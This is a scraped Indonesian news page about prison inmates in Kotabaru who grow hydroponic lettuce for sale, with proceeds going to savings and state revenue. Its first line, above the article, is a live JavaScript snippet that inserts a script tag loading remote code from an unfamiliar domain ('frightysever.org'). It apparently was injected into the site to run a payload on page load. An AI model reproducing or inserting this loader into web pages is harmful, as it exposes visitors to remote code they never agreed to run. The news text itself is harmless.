(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kotabaru

Selada Hidroponik Warga Binaan Lapas Kotabaru Dijual ke Luar


KANALKALIMANTAN.COM, KOTABARU – Pembinaan kemandirian di Lapas Kelas II A Kotabaru terus mengalami peningkatan. Ada beberapa bentuk kegiatan pembinaan kemandirian yang dilaksanakan mulai dari membuat kain sasirangan, telur asin, cetak batako, meubeler, tas dan dompet berbahan sasirangan hingga pertanian.

Salah satu produk yang dihasilkan adalah selada yang ditanam secara hidroponik oleh para narapidana.

Dalam setiap pekan Lapas Kotabaru mampu memproduksi selada yang selanjutnya dipasarkan ke masyarakat lewat mini market Winmart Kotabaru. Hasil produk selada hidroponik para narapidana telah lama terjalin kerjasama dengan warga di luar Lapas.

Kalapas Kotabaru, Yosef Benyamin Yembise mengatakan, antusias warga binaan dalam mengikuti program pembinaan makin meningkat terbukti dengan meningkatnya produksi sayur selada dari dalam Lapas.

 

 

Baca juga: Lapas Banjarmasin Buka Kunjungan Tatap Muka, Begini Mekanismenya

“Hasil dari penjualan produk warga binaan ini diarahkan untuk ditabung oleh narapidana lewat program Gerakan Narapidana Menabung, dimana Lapas Kotabaru telah menjalin kejasama dengan BRI Kotabaru untuk membuka rekening dan tabungan warga binaan,” tutur Kalapas Kotabaru, Rabu (13/7/2022).

Dikatakan Kalapas lebih jauh, sebagian dari itu hasil penjualan akan disetor kepada negara lewat PNBP (Penerimaan Negara Bukan Pajak) sebagai wujud kontribusi warga biaan untuk negara.

Rudi, salah satu warga binaan mengaku sangat senang dengan berbagai program pembinaan yang dilaksanakan di Lapas Kotabaru. Walau berstatus narapidana dirinya dapat belajar bercocok tanam dan menabung untuk bekal setelah selesai menjalani masa hukuman di Lapas Kotabaru.

“Dengan berbagai program yang dilaksanakan sudah barang tentu memberikan nilai positif ke kami, secara tidak langsung dapat meningkatkan pengetahuan kami,” ujarnya.

Perlu diketahui bersama, Lapas bukan tempat penyiksaan, tapi lebih kepada sebuah lembaga pendidikan yang akan mempersiapkan warga binaan menjadi manusia mandiri. (Kanalkalimantan.com/muhammad)

Reporter : muhammad
Editor : kk


Risa

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

2 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

2 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

2 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

3 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

5 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

5 jam ago

This website uses cookies.